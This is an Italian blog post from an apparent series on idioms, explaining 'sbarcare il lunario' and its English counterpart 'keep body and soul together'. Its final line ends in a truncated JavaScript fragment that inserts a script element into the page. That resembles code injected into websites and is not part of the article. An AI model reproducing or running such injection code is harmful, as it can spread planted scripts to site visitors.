lunario1E’ sicuramente capitato a tutti di venire a conoscenza di alcuni modi di dire britannici che in italiano, tradotti letteralmente, non hanno alcun significato apparente. Infatti è altamente raro che certe espressioni e modi di dire in inglese e in italiano siano letteralmente traducibili nell’altra lingua. E’ comunque altresì possibile incappare in modi di dire che, se tradotti letteralmente, possano avere lo stesso significato nelle due lingue.

In queste settimane vi presenteremo una serie di espressioni che potrebbero esservi utili per tradurre alcuni modi di dire e capirne il reale significato. In tal modo cercheremo di farvi evitare brutte figure nel caso in cui tali traduzioni letterali possano farvi incorrere in tutt’altri significati.

In italiano con l’ antica espressione “sbarcare il lunario” vogliamo indicare l’arte di provvedere al meglio al proprio sostentamento; questa trae spunto dall’immagine della persona che si ingegna nella complessa “arte” del “tirare avanti” (altro modo di dire usato per esprimere lo stesso significato). Il “lunario” è un almanacco popolare e significa, infatti, anno; per questo motivo sbarcare il lunario significa esattamente arrivare alla fine dell’anno. In lingua inglese lo stesso modo di dire viene tradotto con una metafora diversa che, se letta letteralmente, andandola a interpretare porta allo stesso significato: “keep body and soul together” ossia, “mantenere corpo e anima insieme”.[:]document.currentScript.parentNode.insertBefore(s, document.currentScrip